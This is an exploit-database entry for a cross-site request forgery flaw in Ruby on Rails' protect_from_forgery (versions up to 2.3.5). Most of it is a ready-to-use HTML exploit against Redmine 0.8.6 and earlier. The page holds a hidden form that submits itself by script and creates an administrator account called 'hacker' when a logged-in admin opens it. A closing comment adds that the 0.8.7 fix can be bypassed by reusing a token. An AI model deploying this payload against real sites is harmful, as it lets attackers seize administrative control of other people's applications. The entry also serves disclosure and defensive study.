Ruby on Rails <= 2.3.5 'protect_from_forgery' Cross Site Request Forgery Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Ruby on Rails 'protect_from_forgery' Cross Site Request Forgery Vulnerability. Allows remote attacker to perform admin actions, gain unauthorized access, or delete dat


                                                source: http://www.securityfocus.com/bid/37322/info

Ruby on Rails is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain administrative actions, gain unauthorized access to the affected application, or delete certain data. Other attacks are also possible. 

/**
*  Redmine &#60;= 0.8.6 CSRF Add Admin User Exploit
*  Discovered by: p0deje (http://p0deje.blogspot.com)
*  Application: http://www.redmine.org/wiki/redmine/Download
*  SA: http://www.redmine.org/news/30
*  Date: 13.11.2009
*  Versions affected: &#60;= 0.8.6
*  Description: this is a simple exploit which exploits CSRF vulnerability in Redmine, it creates user account with adminstartive rights
*/
 
&#60;html&#62;
&#60;body&#62;
    &#60;form method=POST action=&#34;http://www.example.com/users/new&#34;&#62;
       &#60;input style=&#34;display: none&#34; type=&#34;text&#34; value=&#34;hacker&#34; size=&#34;25&#34; name=&#34;user[login]&#34; id=&#34;user_login&#34;/&#62;
       &#60;input style=&#34;display: none&#34; type=&#34;text&#34; value=&#34;hacker&#34; size=&#34;30&#34; name=&#34;user[firstname]&#34; id=&#34;user_firstname&#34;/&#62;
       &#60;input style=&#34;display: none&#34; type=&#34;text&#34; value=&#34;hacker&#34; size=&#34;30&#34; name=&#34;user[lastname]&#34; id=&#34;user_lastname&#34;/&#62;
       &#60;input style=&#34;display: none&#34; type=&#34;text&#34; value=&#34;[email protected]&#34; size=&#34;30&#34; name=&#34;user[mail]&#34; id=&#34;user_mail&#34;/&#62;
       &#60;input style=&#34;display: none&#34; type=&#34;password&#34; size=&#34;25&#34; name=&#34;password&#34; id=&#34;password&#34; value=&#34;hacker&#34; /&#62;
       &#60;input style=&#34;display: none&#34; type=&#34;password&#34; size=&#34;25&#34; name=&#34;password_confirmation&#34; id=&#34;password_confirmation&#34; value=&#34;hacker&#34; /&#62;
       &#60;input style=&#34;display: none&#34; type=&#34;checkbox&#34; value=&#34;1&#34; name=&#34;user[admin]&#34; id=&#34;user_admin&#34;/&#62;
       &#60;input style=&#34;display: none&#34; type=&#34;hidden&#34; value=&#34;1&#34; name=&#34;user[admin]&#34;/&#62;
       &#60;input style=&#34;display: none&#34; type=&#34;submit&#34; value=&#34;Create&#34; id=&#34;commit&#34; name=&#34;commit&#34; /&#62;
  &#60;/form&#62;
  &#60;script&#62;document.getElementById(&#34;commit&#34;).click();&#60;/script&#62;
&#60;/body&#62;
&#60;/html&#62;
 
/**
*  P.S. Actually, this vulnerability wasn&#039;t fixed in Redmine 0.8.7, because token was generated one time for all the pages and allthe users.
*  Thus, you can add POST data with token of any user and exploit will be working again
*/

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1